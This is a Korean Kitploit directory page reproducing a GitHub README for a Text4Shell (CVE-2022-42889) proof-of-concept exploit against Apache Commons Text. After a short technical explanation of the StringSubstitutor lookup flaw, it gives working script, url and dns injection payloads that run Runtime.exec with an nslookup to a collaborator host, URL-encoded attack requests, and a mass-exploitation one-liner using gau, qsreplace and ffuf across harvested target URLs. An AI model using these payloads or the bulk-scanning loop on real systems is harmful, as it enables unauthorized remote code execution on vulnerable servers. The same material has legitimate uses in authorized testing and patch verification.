Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-42889-text4shell — Apache commons text - CVE-2022-42889 Text4Shell 개념 증명 익스플로잇. | Kitploit
도구/GitHubGitHub/kljunowsky/cve-2022-42889-text4shell
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubkljunowsky/cve-2022-42889-text4shell

CVE-2022-42889-text4shell

Apache commons text - CVE-2022-42889 Text4Shell 개념 증명 익스플로잇.

저장소 보기
5782년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-42889-text4shell 🔥🔥🔥

Apache commons text - CVE-2022-42889 Text4Shell 개념 증명 익스플로잇.

세부 사항📃

CVE-2022-42889는 Apache Commons Text 버전 1.5부터 1.9까지 영향을 미칩니다. Commons Text 버전 1.10에서 패치되었습니다.

이 취약점은 관련 객체를 사용하는 다양한 소프트웨어 애플리케이션에 광범위한 영향을 미칠 가능성이 있는 오픈 소스 라이브러리 수준의 취약점이라는 점에서 Log4Shell과 비교되었습니다.

그러나 초기 분석에 따르면 이는 잘못된 비교입니다. 취약점의 특성상 Log4Shell과 달리, 애플리케이션이 Commons Text의 취약한 구성 요소를 사용하여 신뢰할 수 없는 잠재적으로 악의적인 입력을 처리하는 경우는 드뭅니다.

기술적 분석

취약점은 StringSubstitutor 인터폴레이터 객체에 존재합니다. 인터폴레이터는 StringSubstitutor.createInterpolator() 메서드에 의해 생성되며, StringLookupFactory에 정의된 대로 문자열 조회를 허용합니다. 이는 " ${prefix:name} " 형태의 문자열을 전달하여 사용할 수 있으며, prefix는 앞서 언급한 조회입니다. " script ", " dns " 또는 " url " 조회를 사용하면 조작된 문자열이 인터폴레이터 객체에 전달될 때 임의의 스크립트를 실행할 수 있습니다.

이 특정 코드 조각이 프로덕션 애플리케이션에 존재할 가능성은 낮지만, 일부 애플리케이션에서는 pocstring 변수가 공격자에 의해 제어될 수 있다는 점이 우려됩니다. 이러한 측면에서 취약점은 Log4Shell과 유사합니다. 그러나 StringSubstitutor 인터폴레이터는 Log4j의 취약한 문자열 치환에 비해 훨씬 덜 널리 사용되며, 이러한 인터폴레이터의 특성상 취약한 객체에 조작된 입력이 도달할 가능성은 Log4Shell과 같이 단순히 조작된 문자열과 상호 작용하는 것보다 낮습니다.

익스플로잇👨‍💻

수동🛠️

script:javascript

매개변수 값을 페이로드로 교체:

root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
root@kitploit:~
https://your-target.com/exploit?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7d

url

root@kitploit:~
${url:UTF-8:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
root@kitploit:~
https://your-target.com/exploit?search=%24%7Burl%3AUTF-8%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7d

dns

root@kitploit:~
${dns:address:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
root@kitploit:~
https://your-target.com/exploit?search=%24%7Bdns%3Aaddress%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7d

대량 익스플로잇 ⛓️

payloads.txt

root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}

${url:UTF-8:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}

${dns:address:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
root@kitploit:~
for payload in $(cat payloads.txt|sed 's/ COLLABORATOR-HERE/SPACEid.burpcollaborator.com/g'); do echo TARGET.com | gau --blacklist ttf,woff,svg,png | qsreplace "$payload" | sed 's/SPACE/%20/g' | grep "java.lang.Runtime.getRuntime" >> payloads-final.txt;done && ffuf -w payloads-final.txt -u FUZZ

즐거운 사냥 되세요!💸

요구 사항🧰

ffuf @joohoi님 감사합니다!

qsreplace @tomnomnom님 감사합니다

gau @lc님 감사합니다

연락처📇

LinkedIn Twitter - Milan Jovic

LinkedIn - Milan Jovic

도구 다운로드